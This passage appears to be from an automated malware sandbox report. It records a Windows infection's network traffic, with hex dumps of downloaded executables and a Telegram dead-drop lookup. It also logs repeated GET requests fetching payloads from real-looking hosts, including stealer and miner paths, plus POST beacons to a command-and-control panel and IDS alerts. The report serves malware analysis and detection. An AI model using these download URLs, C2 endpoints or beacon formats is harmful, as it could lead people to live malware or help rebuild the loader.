00 00 00 00 00 00 00 00 38 d6 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 c0 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 66 6d 66 75 6e 6a 64 00 c0 19 00 00 20 31 00 00 ba 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 65 62 6f 6b 65 76 7a 00 10 00 00 00 e0 4a 00 00 06 00 00 00 b0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 4a 00 00 22 00 00 00 b6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 12 Jan 2025 16:40:57 GMTContent-Type: application/octet-streamContent-Length: 366592Last-Modified: Mon, 06 Jan 2025 15:57:20 GMTConnection: keep-aliveETag: "677bfd60-59800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0a 43 2c b2 00 00 00 00 00 00 00 00 e0 00 2e 01 0b 01 30 00 00 86 00 00 00 06 00 00 00 00 00 00 be a4 00 00 00 20 00 00 00 c0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 06 00 00 04 00 00 bc 45 06 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 70 a4 00 00 4b 00 00 00 00 c0 00 00 42 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 0c 00 00 00 22 a4 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 84 00 00 00 20 00 00 00 86 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 42 02 00 00 00 c0 00 00 00 04 00 00 00 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 00 00 00 02 00 00 00 8e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 08 05 00 00 00 01 00 00 08 05 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 12 Jan 2025 16:40:59 GMTContent-Type: application/octet-streamContent-Length: 1890304Last-Modified: Sun, 12 Jan 2025 16:13:59 GMTConnection: keep-aliveETag: "6783ea47-1cd800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 f0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 4b 00 00 04 00 00 8f 33 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 c0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 d6 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 d6 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 c0 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 66 6d 66 75 6e 6a 64 00 c0 19 00 00 20 31 00 00 ba 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 65 62 6f 6b 65 76 7a 00 10 00 00 00 e0 4a 00 00 06 00 00 00 b0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 4a 00 00 22 00 00 00 b6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 12 Jan 2025 16:41:00 GMTContent-Type: application/octet-streamContent-Length: 439808Last-Modified: Fri, 08 Nov 2024 07:05:53 GMTConnection: keep-aliveETag: "672db851-6b600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd b6 42 53 99 d7 2c 00 99 d7 2c 00 99 d7 2c 00 8d bc 2f 01 94 d7 2c 00 8d bc 29 01 23 d7 2c 00 cb a2 28 01 8b d7 2c 00 cb a2 2f 01 8f d7 2c 00 cb a2 29 01 c0 d7 2c 00 a8 8b d1 00 9b d7 2c 00 8d bc 28 01 8e d7 2c 00 8d bc 2d 01 8a d7 2c 00 99 d7 2d 00 6a d7 2c 00 55 a2 25 01 98 d7 2c 00 55 a2 d3 00 98 d7 2c 00 55 a2 2e 01 98 d7 2c 00 52 69 63 68 99 d7 2c 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 51 b8 2d 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 f4 04 00 00 00 02 00 00 00 00 00 d7 a1 02 00 00 10 00 00 00 10 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 07 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 40 45 06 00 c8 00 00 00 00 d0 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 06 00 c4 45 00 00 bc e1 05 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 e2 05 00 18 00 00 00 f8 e1 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 05 00 3c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0a f3 04 00 00 10 00 00 00 f4 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 50 48 01 00 00 10 05 00 00 4a 01 00 00 f8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 dc 6d 00 00 00 60 06 00 00 2c 00 00 00 42 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 d0 06 00 00 02 00 00 00 6e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c4 45 00 00 00 e0 06 00 00 46 00 00 00 70 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 12 Jan 2025 16:41:03 GMTContent-Type: application/octet-streamContent-Length: 1890304Last-Modified: Sun, 12 Jan 2025 16:13:59 GMTConnection: keep-aliveETag: "6783ea47-1cd800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 f0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 4b 00 00 04 00 00 8f 33 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 c0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 d6 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 d6 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 c0 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 66 6d 66 75 6e 6a 64 00 c0 19 00 00 20 31 00 00 ba 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 65 62 6f 6b 65 76 7a 00 10 00 00 00 e0 4a 00 00 06 00 00 00 b0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 4a 00 00 22 00 00 00 b6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /oldVNC.exe HTTP/1.1Host: yachtingiturkey.com
Source: global traffic	HTTP traffic detected: GET /no111p HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 31 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B15182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /files/7343830477/oavvDqT.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 33 34 37 32 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1034725001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/7967666176/13Z5sqy.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 33 34 37 36 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1034761001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/5666444957/usPaQ3D.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 33 37 33 34 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1037345001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/5222311384/WZMQlGj.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 33 38 30 37 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1038070001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 33 38 33 35 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1038359001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/7202997285/HNsLLEj.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 33 38 38 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1038856001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/668741820/bKIFsVe.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 33 38 39 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1038908001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 33 38 39 37 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1038971001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/am_no.bat HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 33 38 39 37 38 30 32 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1038978021&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 33 39 30 37 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1039079001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /lumma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 33 39 31 31 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1039112001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/GoodTimes306/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: GET /inc/legs.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 30 31 35 32 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1001527001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/am209.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.244.212.106 185.244.212.106

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: AS-CHOOPAUS AS-CHOOPAUS
Source: Joe Sandbox View	ASN Name: M247GB M247GB

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49975 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49978 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49980 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49990 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50000 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49997 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50001 -> 104.21.14.233:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50006 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50012 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49982 -> 31.41.244.11:80
